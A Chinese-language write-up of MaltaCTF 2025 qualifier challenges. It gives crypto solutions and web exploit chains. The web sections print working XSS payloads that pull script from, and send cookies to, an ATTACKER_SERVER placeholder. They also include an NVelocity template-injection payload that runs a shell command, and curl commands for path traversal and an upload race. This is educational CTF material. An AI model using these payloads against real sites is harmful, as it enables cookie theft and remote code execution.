MaltaCTF 2025 Quals WriteUps
這周與 ${cystick} 參加了由 FMC 舉辦的 MaltaCTF 2025 Quals,題目如預期的一樣既好玩也有挑戰性。這次我只有解了幾題 crypto 與 web 的題目而已。
crypto
2log
from sage.all import matrix, GF, ZZ, randint
FLAG = b"maltactf{???????????????????????????????????}"
k0, k1 = int.from_bytes(FLAG[:len(FLAG)//2+4], "big"), int.from_bytes(FLAG[len(FLAG)//2:], "big")
G = matrix(ZZ, [[1401, 2],[-2048, 1273]])
h1 = ((G**k0)[0][0]).bit_length() - randint(-2**32, 2**32)
G = matrix(GF(2**255-19), G)
h2 = (G**k1)[0][0]
h3 = (G**k1)[0][1]
print(f'{h1 = }')
print(f'{h2 = }')
print(f'{h3 = }')
"""
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
"""
這題簡單來說要你解決兩個 log 的問題,第一個是給你:
目標是求 。
這部分可以利用 的性質去做,其中 是絕對值最大的特徵值。所以 。具體做下去會發現 的特徵值只有 重根。
第二個 log 的部分是給予你
全部都在 下做,目標是求 。
因為 的特徵值重複,所以不能對角化,所以有個 jordan form:
然後存在 矩陣使得 。所以 。
其中 jordan form 的 power 是:
既然 都已知,可以直接解線性方程求 。
from sage.all import *
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
ln = 45 # flag length
# stage 0
G = matrix(ZZ, [[1401, 2], [-2048, 1273]])
print(G.eigenvalues()) # 1337, 1337
lam = int(G.eigenvalues()[0])
k0 = int(round(h1 / log(lam, 2)))
# stage 1
F = GF(2**255 - 19)
G = matrix(F, G)
v = vector([h2, h3])
J, P = G.jordan_form(transformation=True)
assert P * J * ~P == G
# J =
# [1337 1]
# [ 0 1337]
# J^k =
# [1337^k k*1337^(k-1)]
# [0 1337^k]
# x=[1 0]
# v=x*G^k=x*P*J^k*~P
# v*P=(x*P)*J^k
vP = v * P
xP = P[0]
k, lk1 = polygens(F, ["k", "lk1"]) # k, lam^(k-1)
z0, z1 = xP * matrix([[lk1 * lam, k * lk1], [0, lam * lk1]]) - vP
k1 = int(z0.sylvester_matrix(z1, lk1).det().univariate_polynomial().roots()[0][0])
flag0 = k0.to_bytes(ln // 2 + 4, "big")[:-4]
flag1 = k1.to_bytes(ln - ln // 2, "big")
print(flag0 + flag1)
# maltactf{tw0-d10g5?_m0r3_l1kE_d0ubl3-l1nAlg!}
grammar nazi
from Crypto.Util.number import *
FLAG = 'maltactf{???????????????????????????????}'
assert len(FLAG) == 41
p = getPrime(128)
q = getPrime(128)
N = p * q
e = 65537
m = f'The flag is {FLAG}'
c = pow(bytes_to_long(m.encode()), e, N)
# ERROR: Sentences should end with a period.
m += '.'
c += pow(bytes_to_long(m.encode()), e, N)
# All good now!
print(f'{N = }')
print(f'{c = }')
'''
N = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
'''
RSA 題,首先 只有 256 bits 可以直接分解 (or factordb lol),但困難點在於這題的 不是一般的 RSA 加密。
記 f'The flag is {FLAG}'
的部分為 ,那麼 的計算方式為:
所以就有個多項式
我們要求它在 的根,然後 CRT 合併即可。然而有個比較麻煩的是 並不小,用 sage 的 f.roots()
算不出來。
這部分我是先用了 pari.polrootsmod
解決,這比 sage 的 f.roots()
快上不少。然後看到 flag 知道說有另一個利用 fermat little theorem 的方法:
關鍵是 包含了 上的所有元素,所以取多項式 ,那麼 和 就有相同的根,所以對 求根即可。這個方法我後來才想起來有在這邊看到過。
最後各自解出來後用 crt 合併,還要注意它整個 message 的長度是大於 的,所以要把已知的 plaintext 部分去掉,只留下 ????...
的部分。
from sage.all import *
n = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
p = 276784813000398431755706235529589161781
q = n // p
assert n == p * q
e = 65537
def solve_rs(p):
x = polygen(GF(p))
f = x**e + (x * 256 + ord(".")) ** e - c
return [int(x.sage()) for x in pari.polrootsmod(f, p)]
def solve_rs2(p):
x = polygen(GF(p))
f = x**e + (x * 256 + ord(".")) ** e - c
g = pow(x, p, f) - x
return [int(x) for x, _ in f.gcd(g).roots()]
rsp = solve_rs(p)
rsq = solve_rs(q)
tmpl = int.from_bytes(
b"The flag is maltactf{???????????????????????????????}".replace(b"?", b"\x00"),
"big",
)
for rp in rsp:
for rq in rsq:
r = crt([rp, rq], [p, q])
f = (r - tmpl) / 256 % n
flag = int(f).to_bytes(41, "big").strip(b"\x00")
if flag.isascii():
print(flag)
# maltactf{Ferm4ts_littl3_polyn0mial_tr1ck}
true random
from qiskit.circuit.random import random_circuit
from qiskit.quantum_info import Operator
from qiskit.quantum_info import Statevector
from numpy import array, save
from math import log2
import random
random = random.SystemRandom()
flag = open("flag.txt", "r").read().strip()
flag_len = len(flag)*8
assert flag_len == 256
depth = 10
qubits = int(log2(flag_len))
flag_bits = [int(bit) for bit in ''.join(format(ord(c), '08b') for c in flag)]
def random_pair(op):
otp_key = [random.choice([0,1]) for _ in range(flag_len)]
i = Statevector(otp_key)
f = i.evolve(op)
enc = array([flag_bits[i] ^ otp_key[i] for i in range(flag_len)])
return array([enc, f.data])
ops = []
for _ in range(13):
qc = random_circuit(qubits, depth, measure=False)
op = Operator(qc)
ops.append(op)
sets = 256
data = array([random_pair(random.choice(ops)) for _ in range(sets)])
save("enc.npy", data)
這題給你 256 個用 otp 加密的 flag,然後用 qiskit 生成的隨機未知 quantum circuit 對 otp 的 key bits 做轉換的結果給你。
這邊我發現到它輸出的 f.data
是個 256 大小的 complex vector,把它們的 norm 加起來正好是 sum(otp_key)
,所以可以知道 otp key 中有幾個 。
因此我們的問題就變成了: 有很多 flag 的 otp ciphertext,且我們知道 key 的 hamming weight,怎麼求 flag?
這個問題讓我想起 SEETF 2022 - Neutrality,和它幾乎一樣,所以直接把它的 LLL 解法複製過來就行了。
from sage.all import *
import numpy as np
from tqdm import tqdm
from binteger import Bin
bits = 256
P = PolynomialRing(ZZ, bits, "x")
fs = P.gens()
data = np.load("enc.npy")
# ref: https://blog.maple3142.net/2022/06/06/seetf-2022-writeups/#neutrality
eqs = []
for enc, fdata in tqdm(data):
hw = int(
round(sum([abs(x) ** 2 for x in fdata]))
) # this is the hamming weight of the otp
eq = sum([(f - e) ** 2 for f, e in zip(fs, enc.astype(int))]) - hw
eqs.append(eq)
eqs = Sequence([f - g for f, g in zip(eqs, eqs[1:])])
M, monos = eqs.coefficients_monomials()
M = M.dense_matrix()
A = M[:, :-1]
b = vector(M[:, -1])
def lllsolve(A, b):
# find a *small* solution x such that A*x=b
A = A.T
nr, nc = A.dimensions()
A = A.augment(matrix.identity(nr))
A = A.stack(vector(list(b) + [0] * nr))
A[:, :nc] *= 2**30
for row in A.LLL():
if row[:nc] == 0:
return row[nc:]
sol = lllsolve(A, b)
print(Bin(sol).bytes)
# maltactf{f55dc5132f9529106d6e:3}
web
fancy text generator
xss 題,server:
app.use((req, res, next) => {
res.set('Content-Security-Policy', "script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';");
next();
});
app.get('/', (req, res) => {
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
return res.render('index', {text: DOMPurify.sanitize(req.query.text)})
})
代表題目有個 nonce + strict-dynamic 的 CSP,然後主要的 route 會接收 html 輸入後用 dompurify 處理後放到頁面上。而 index.ejs
確實可以做 injection:
<head>
<title>Fancy Text Generator!</title>
<link href="https://cdn.jsdelivr.net/npm/pace-js@1.2.4/pace-theme-center-atom.min.css" rel="stylesheet">
<link href="/style.css" rel="stylesheet">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
</head>
<body>
<h1>Fancy text generator</h1>
<div id="contentBox"><%- text || "fancy text generator!" %></div>
</br>
<form action="/" method="GET">
<input name="text" placeholder="text to make fancy">
<input type="submit" value="submit">
</form>
</body>
顯然,在沒辦法繞過 dompurify 的情況下,這樣什麼也做不到,就算能繞過也還有 csp 擋著。所以關鍵在於 loader.js
:
scripts = {
"pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
"main": "/main.js",
}
function appendScript (src) {
let script = document.createElement('script');
script.src = src;
document.head.appendChild(script);
};
for (let script in scripts) {
appendScript(scripts[script]);
}
分別載入 pace.min.js
和 main.js
。前者首先可以在這裡看到它有來自 dom 的 prototype pollution:
<div data-pace-options='{"__proto__":{"a":1}}'></div>
但實際執行下去會發現沒成功,這是因為 main.js
會這麼做:
const toFancyText = (text) => {
// some processing with text
}
contentBox.innerText = toFancyText(contentBox.innerText)
而你 inject 的 html 就在 #contentBox
中,所以 main.js
如果比 pace.js 先載入完成那麼你的 html 就會被覆蓋掉,導致污染失敗。繞過的方法也很簡單,就給你的 div 多 id="contentBox"
,這樣透過 window[id]
的 access 就會拿到 html collection,然後導致 toFancyText
出現 error,這樣你的 html 就不會被覆蓋掉了。
<div id="contentBox" data-pace-options='{"__proto__":{"a":1}}'></div>
接下來是要怎麼只靠 prototype pollution 到 XSS,而我這邊自己是沒找到方法,所以改在 pace.js 找找看有沒有其他 gadget,然後就在 pace.js 中多發現了一個 xss: 這裡
既然有 xss 代表我們可以注入 iframe,在 iframe 中先用 pace.js 去 PP,然後之後再重新觸發一次 loader.js
的載入那 for (let script in scripts)
就會拿到我們污染過的 prototype value,所以可以控制 appendScript
要載入的目標。
生成 payload 的腳本 (在題目頁面的 console 中執行):
html = `<iframe srcdoc='
<img id=contentBox data-pace-options="{ &quot;__proto__&quot;: {&quot;a&quot;:&quot;https://ATTACKER_SERVER/exp.js&quot;} }">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="https://ATTACKER_SERVER/loader.js.php" crossorigin="anonymous"></script>
'></iframe>`
html = html.replace(/"/g, '\\u0022').replace(/'/g, '\\u0027').replace(/\n/g, '\\n').replace(/&/g, '\\u0026')
location =
'/?text=' +
encodeURIComponent(`
<img id=contentBox data-pace-options='{ "startOnPageLoad": true, "className": "peko \\">${html}", "__proto__": {"a":1} }'>
`)
// maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}
其中的 exp.js
是偷 cookie 的 payload,不重要。而 loader.js.php
是一個簡單的 PHP 程式,在 delay 後輸出 loader.js
的內容,這樣就能確保第二次 loader.js
的載入會使用污染過的 prototype。
<?php
sleep(1);
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
echo file_get_contents('https://fancy-text-generator-web.shared.challs.mt/loader.js');
AdBlocker
這題有兩個 origin: web
和 analytics
flag 放在 analytics
的 cookie 中,它有個 /integrate
頁面接收 postMessage
,如果來源是特定 origin (包括 web
) 的化可以讓它主動把 flag 送到任意地方去:
<script>
const TRUSTED_ORIGINS = [/*TRUSTED_ORIGINS*/];
function isTrustedOrigin(origin) {
return TRUSTED_ORIGINS.includes(origin);
}
window.addEventListener('message', (event) => {
if (!isTrustedOrigin(event.origin)) {
console.warn('Rejected message from untrusted origin:', event.origin);
return;
}
if (!event.data || typeof event.data !== 'object') {
console.warn('Invalid message format received');
return;
}
if (event.data.analytics && event.data.url) {
if (isTrustedOrigin(event.origin)) {
navigator.sendBeacon(event.data.url, JSON.stringify({"analytics-tracking-cookies": document.cookie, "url": event.data.url}));
}
}
});
if (window.parent) {
window.parent.postMessage({
payload: 'Integration successful :D'
}, '*');
}
</script>
所以我們需要想辦法拿 web
origin 下的 xss。
然後 web
部分有個 /ad.html
,重點部分如下:
<script>
window.addEventListener('message', (event) => {
if (event.source.parent !== window) {
return;
}
if (event.data && event.data.payload) {
document.getElementById('ad-hello').innerHTML = event.data.payload;
}
});
function tempAd() {
const iframe = document.createElement('iframe');
iframe.src = `http://${window.location.hostname}:3000/integrate`;
iframe.width = '100%';
iframe.height = '100%';
iframe.style.border = 'none';
const container = document.getElementById('ad-container');
container.appendChild(iframe);
setTimeout(async () => {
await import('/ad.js');
}, 1);
}
tempAd();
</script>
它會載入 analytics
的 /integrate
頁面,然後該 iframe 傳來的 html 放到頁面上,所以如果可控就能 xss。所以一個很簡單的想法是透過 window reference 做 w.frames[0].location = ...
去改掉 iframe 的頁面,然後 post message 就能觸發 web
的 xss。
然而直接這樣做行不通,因為 ad.js
會在 ping 過 analytics
之後把 iframe 移除:
(async function() {
const container = document.getElementById('ad-container');
const currentHost = window.location.hostname;
const analyticsUrl = `http://${currentHost}:3000/ping`;
try {
await fetch(analyticsUrl);
if (container && container.firstChild) {
container.removeChild(container.firstChild);
}
} catch (error) {
console.log('Analytics service not available');
}
})();
所以攻擊要成功需要在他移除 iframe 前就把上面的事情做完,這並不容易。不過我這邊換個方向想,把它 fetch
那邊卡住不就好了? 因為瀏覽器有些 connection pool 的機制,會依照某些規則限制 connection 的數量,所以只要在我們的 exploit page 狂 fetch analytics
的 /ping
頁面去 delay 那個 fetch,那就能成功攻擊。
<script>
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const main = async () => {
const runInAttackerOrigin = async () => {
const runInAdOrigin = async () => {
console.log('xss', location.href, origin)
const w = window.open('http://analytics:3000/integrate', '_blank')
setTimeout(() => {
w.postMessage(
{
url: 'http://ATTACKER_SERVER/flag.php',
analytics: true
},
'*'
)
}, 500)
}
const xss = `<img src=x: onerror="(${runInAdOrigin})()">`
parent.postMessage(
{
payload: xss
},
'*'
)
}
const frameurl = URL.createObjectURL(
new Blob([`<script>(${runInAttackerOrigin})()<\/script>`], { type: 'text/html' })
)
let cnt = 0
const it = setInterval(() => {
for (let i = 0; i < 20; i++) fetch('http://analytics:3000/ping') // prevent analytics /ping from being loaded
for (let i = 0; i < 1000; i++) {
try {
w.frames[0].location = frameurl
console.log('success')
clearInterval(it)
break
} catch {}
}
if (cnt > 10) clearInterval(it)
cnt++
}, 1)
}
main()
// maltactf{th1s_w4s_4s_exh4ust1V3_aS_th3_C0nnection_P00l}
</script>
<iframe
src="http://web:1337/ad.html"
name="w"
sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox"
></iframe>
Enterprise Template as a Service
dotnet 題,關鍵在於下面這段:
app.MapPost("/", async (HttpContext context) =>
{
var form = await context.Request.ReadFormAsync();
string templateName = form["template"];
if (string.IsNullOrEmpty(templateName))
{
await context.Response.WriteAsync("missing template field");
return;
}
var templatePath = Path.Combine("templates", templateName);
VelocityEngine velocity = new VelocityEngine();
velocity.Init();
VelocityContext velocityContext = new VelocityContext();
velocityContext.Put("name", System.Net.WebUtility.HtmlEncode(form["name"].ToString()));
velocityContext.Put("url", System.Net.WebUtility.HtmlEncode(form["url"].ToString()));
velocityContext.Put("date", System.Net.WebUtility.HtmlEncode(DateTime.Now.ToString()));
var writer = new StringWriter();
try {
var template = await File.ReadAllTextAsync(templatePath);
Boolean ok = velocity.Evaluate(velocityContext, writer, templateName, template);
} catch (Exception e) {
await context.Response.WriteAsync("template rendering failed");
return;
}
context.Response.ContentType = "text/html; charset=utf-8";
await context.Response.WriteAsync(writer.ToString());
});
簡單來說可以指定一個 path 去讀取,然後它會用 NVelocity 這個 template engine 去 render。目標是 RCE 呼叫 /readflag
。
首先,顯然目標是要 SSTI,但它的 payload 只能來自 local,怎麼辦? 這其實不難,直接透過很多 framework 都有的 big file upload buffering 就能做到了,通常會把上船的檔案暫存在某個地方,雖然不知道檔名但我們還是可以用 /proc/self/fd/...
去讀。這種技巧應該算蠻老套的 CTF 技巧,例如之前 UIUCTF 2022 - spoink 我就是這麼做的。
所以剩下的只是用 Nvelocity 的語法透過 c# 的 reflection 去 call shell 而已,這部分就自己上網查資料,花點時間就構造出 payload 了:
#set($e="e")
#set($loadfile=$e.GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile"))
$loadfile
#set($args=["/usr/share/dotnet/shared/Microsoft.NETCore.App/8.0.17/System.Diagnostics.Process.dll"])
#set($proc=$loadfile.Invoke($null, $args.ToArray()))
#set($methods=$proc.GetType("System.Diagnostics.Process").GetMethods())
#set($args=["sh", "-c /readflag>/tmp/flag"])
#foreach($meth in $methods)
$velocityCount: $meth
#if($velocityCount == 71)
#set($r=$meth.Invoke($null, $args.ToArray()))
$r.WaitForExit()
$r.ExitCode
#end
#end
上面就是先從 String
拿到 Assembly
,然後 LoadFile
載入 System.Diagnostics.Process.dll
,然後透過 Process.start
去跑 shell,把 flag 寫到 /tmp/flag
。這樣我們第二次用 path traversal 去讀 /tmp/flag
就能拿到 flag 了。
具體的打 exploit 要先把上面的內容存到 test.tmpl
,後面塞一堆垃圾 padding 讓他超過 64kb,之後 race 一下就行:
for i in {1..10}; do curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../proc/1/fd/231' -F 'name=qw' -F 'url=cc' -F 'qq=@test.tmpl' &; done
有成功的話就發另一個 request 讀檔案即可:
curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../tmp/flag' -F 'name=w' -F 'url=cc' -F 'qq=q'
# maltactf{why_is_there_java_in_my_c#_6e95af9cd14fdcb0e544afccc5108c85}